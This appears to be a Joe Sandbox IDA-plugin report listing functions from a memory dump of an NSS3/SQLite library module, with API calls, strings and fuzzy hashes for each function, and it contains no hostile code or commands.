Instruction Fuzzy Hash: E021E335A021549BDB209B689F8DB9E37B5EB4331DF854435E80997F02DF34AA18CBD1

Function 6C759DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C759DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C759E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C759E33

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C759E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C759E65

Strings

flags = 0x%x, xrefs: 6C759E60
(CK_INVALID_HANDLE), xrefs: 6C759E2C
C_SessionCancel, xrefs: 6C759DF1
hSession = 0x%x, xrefs: 6C759E0E, 6C759E1E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 300426e07131d8f9e036f8b3c1e5a33497867cfa7ae256a9a02c8f03aaf7c31b
Instruction ID: 699564bd8d923173ffb1bc1d00a445ac4fb82803625afa93389a5cdea94be260
Opcode Fuzzy Hash: 300426e07131d8f9e036f8b3c1e5a33497867cfa7ae256a9a02c8f03aaf7c31b
Instruction Fuzzy Hash: 5921E3B2702218AFD7209B58DF8DB6E33B9AB4230DF454434E80957B01DF34A859C7D1

Function 6C726DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C727D8F,6C727D8F,?,?), ref: 6C726DC8

Part of subcall function 6C77FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C77FE08
Part of subcall function 6C77FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C77FE1D
Part of subcall function 6C77FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C77FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C727D8F,?,?), ref: 6C726DD5

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FA0,00000000,?,?,?,?,6C727D8F,?,?), ref: 6C726DF7

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C726E35

Part of subcall function 6C77FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C77FE29
Part of subcall function 6C77FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C77FE3D
Part of subcall function 6C77FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C77FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C726E4C

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FE0,00000000), ref: 6C726E82

Part of subcall function 6C726AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C72B21D,00000000,00000000,6C72B219,?,6C726BFB,00000000,?,00000000,00000000,?,?,?,6C72B21D), ref: 6C726B01
Part of subcall function 6C726AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C726B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C726F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C726F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FE0,00000000), ref: 6C726F6B
PR_SetError.NSS3(FFFFE005,00000000,6C727D8F,?,?), ref: 6C726FE1

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c90ee46beea6d33e7087b788d6736315f7e69e800e693e2f58b04f2ee25d71cc
Instruction ID: 6a696d11e4bcc8f4fd7f69e0c51a89758ec92384b9ea5d0d0eb58a10416ee5da
Opcode Fuzzy Hash: c90ee46beea6d33e7087b788d6736315f7e69e800e693e2f58b04f2ee25d71cc
Instruction Fuzzy Hash: C0718071D106469FEB10CF15CE44BAABBA8FF94308F15422AE818D7B11F774EA94CB90

Function 6C76ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEF1
free.MOZGLUE(6C74CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C74CDBB,?), ref: 6C76AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AF30

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1436714fb3c425cf7171670f8bf88df0d5b4118a908313d03e3077cdcfdd6bc1
Instruction ID: 75efaf4f238e7bdf1f761a2c4b5c04314af6ef8dbcf7c22df31ac14bdb75eabb
Opcode Fuzzy Hash: 1436714fb3c425cf7171670f8bf88df0d5b4118a908313d03e3077cdcfdd6bc1
Instruction Fuzzy Hash: 4551AFB1A00612AFDB11DF2AD989B5AB7B8FF05328F144674EC1897E11E731E864CBD1

Function 6C744CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C74AB7F,?,00000000,?), ref: 6C744CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C74AB7F,?,00000000,?), ref: 6C744CC8
TlsGetValue.KERNEL32(?,6C74AB7F,?,00000000,?), ref: 6C744CE0
EnterCriticalSection.KERNEL32(?,?,6C74AB7F,?,00000000,?), ref: 6C744CF4
PL_HashTableLookup.NSS3(?,?,?,6C74AB7F,?,00000000,?), ref: 6C744D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C744D10

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C744D26

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C744D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C744DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C744E02

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 947bad0757590db57aa8a4ce4e2f43b10fc672cf3da0ebd0e1773b34c94e8c2f
Instruction ID: 48e87f8bfde8bf5170354d9c467bcd8bb74b770e4429c2233fed16955d221c9c
Opcode Fuzzy Hash: 947bad0757590db57aa8a4ce4e2f43b10fc672cf3da0ebd0e1773b34c94e8c2f
Instruction Fuzzy Hash: 7041F9B6A00111ABEB119F28ED4D95A77A8BF1521CF058170ED08C7B16FF31D924DBE2

Function 6C70FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C70FD18
sqlite3_initialize.NSS3 ref: 6C70FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C70FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C70FD99
sqlite3_free.NSS3(00000000), ref: 6C70FE3C
sqlite3_free.NSS3(?), ref: 6C70FEE3
sqlite3_free.NSS3(?), ref: 6C70FEEE

Strings

simple, xrefs: 6C70FC79

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: d59c34b356c55ba4f9e54b5c0dcf89bdc1e98c5cc4eb9e1e637f346636280856
Instruction ID: 49ff26979656f5e8d59487794abee19bc8f9a46c5206b653741e148e3fcaef33
Opcode Fuzzy Hash: d59c34b356c55ba4f9e54b5c0dcf89bdc1e98c5cc4eb9e1e637f346636280856
Instruction Fuzzy Hash: 7E9170B0B012059FDB04CF69CA94BAAB7F5FF85318F24C568D8199BB52E731E841CB94

Function 6C715CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C715EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C715EED

Strings

%s at line %d of [%.10s], xrefs: 6C715EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C715ED1
misuse, xrefs: 6C715EDB
invalid, xrefs: 6C715EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C715E64
API call with %s database connection pointer, xrefs: 6C715EC3

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 909948e62332cdcd752e1d0ef80b7717b0ea305543af40d2e8d0661c377f920c
Instruction ID: 1c6f83866487f86e0f9d8440f324f4cc9587600dd5ead333a281a5385ed22722
Opcode Fuzzy Hash: 909948e62332cdcd752e1d0ef80b7717b0ea305543af40d2e8d0661c377f920c
Instruction Fuzzy Hash: E081BE30B196119BEB9D8E24EA89BAA7374BF4130CF2C0279D8555BF41D730E846CBD1

Function 6C6FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FDF78

Strings

%s at line %d of [%.10s], xrefs: 6C6FDE61, 6C6FDE90
database corruption, xrefs: 6C6FDE5C, 6C6FDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FDE52, 6C6FDE81

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 600af63080b469c4bf0fca19bd1e0a5479198e661132d614c9b8f81d6ef2a7a6
Instruction ID: 73c1aae7d5bd93e0767fd2c9402fac4d745335307d405e9df72128f990de4b06
Opcode Fuzzy Hash: 600af63080b469c4bf0fca19bd1e0a5479198e661132d614c9b8f81d6ef2a7a6
Instruction Fuzzy Hash: 4681B571604300AFD714CF25C890B6A77F2BF45308F15882DE9A98BB51E731F846C7AA

Function 6C784DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C78536F,00000022,?,?,00000000,?), ref: 6C784E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C784F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C784F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C784FAE
free.MOZGLUE(?), ref: 6C784FC8

Strings

%s=%s, xrefs: 6C784F89
oSxl", xrefs: 6C784DFB, 6C784EF4, 6C784EC5
%s=%c%s%c, xrefs: 6C784FA9

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSxl"
API String ID: 2709355791-2060773564
Opcode ID: 61e4e8d622d840afd4e1f82d59992e55762b87f0ef9a0d213221fb0ae4f5921e
Instruction ID: cb4f865887019b232a3d85031a53a8d0ecc1b1fda91807612a1fcb6ef6ed479a
Opcode Fuzzy Hash: 61e4e8d622d840afd4e1f82d59992e55762b87f0ef9a0d213221fb0ae4f5921e
Instruction Fuzzy Hash: 70514931A071458BEB11CA6A86B47FF7BFD9F42308F188139EA90A7A41D3A5880597B1

Function 6C723E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C723F7F,?,00000055,?,?,6C721666,?,?), ref: 6C7240D9
Part of subcall function 6C7240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C721666,?,?), ref: 6C7240FC
Part of subcall function 6C7240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C721666,?,?), ref: 6C724138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C723EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C723ED6

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C723EEE

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C723F02
PL_FreeArenaPool.NSS3 ref: 6C723F14
PL_FinishArenaPool.NSS3 ref: 6C723F1C

Part of subcall function 6C7864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C78127C,00000000,00000000,00000000), ref: 6C78650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C723F27

Strings

security, xrefs: 6C723EBC

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 8e9d21a74b00fca79fc93912231e35339301d93fee389c5d9cc97526e48ae63a
Instruction ID: 9c38e0a7c85409526faa7745f8d0ae3cfeb7ec811ce8e11737f84975b7b8aaf6
Opcode Fuzzy Hash: 8e9d21a74b00fca79fc93912231e35339301d93fee389c5d9cc97526e48ae63a
Instruction Fuzzy Hash: F4212872904304BBD7208B14AD09FAA77A8BB4931CF00093DF959A7B41F734E618C79A

Function 6C76CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C76CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C76CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C76D079

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ea55d6dc013b290c36b83bd250f0c9c93737c21a381a4b6477fc74a860895301
Instruction ID: d62be8c2286f1db9abc11126814df2d1f3e026afece2939aad6941afacc1c9b3
Opcode Fuzzy Hash: ea55d6dc013b290c36b83bd250f0c9c93737c21a381a4b6477fc74a860895301
Instruction Fuzzy Hash: 39C191B1A002199BDB20CF25CD88BDAB7B4BB48318F1441A8ED4897B41E775EE95CF90

Function 6C75DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7697C1,?,00000000,00000000,?,?,?,00000000,?,6C747F4A,00000000), ref: 6C75DC68

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C75DFAA

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: ba7323709fbac40336c153b938195f62f1425d80f3a580110f716d7fd22362fc
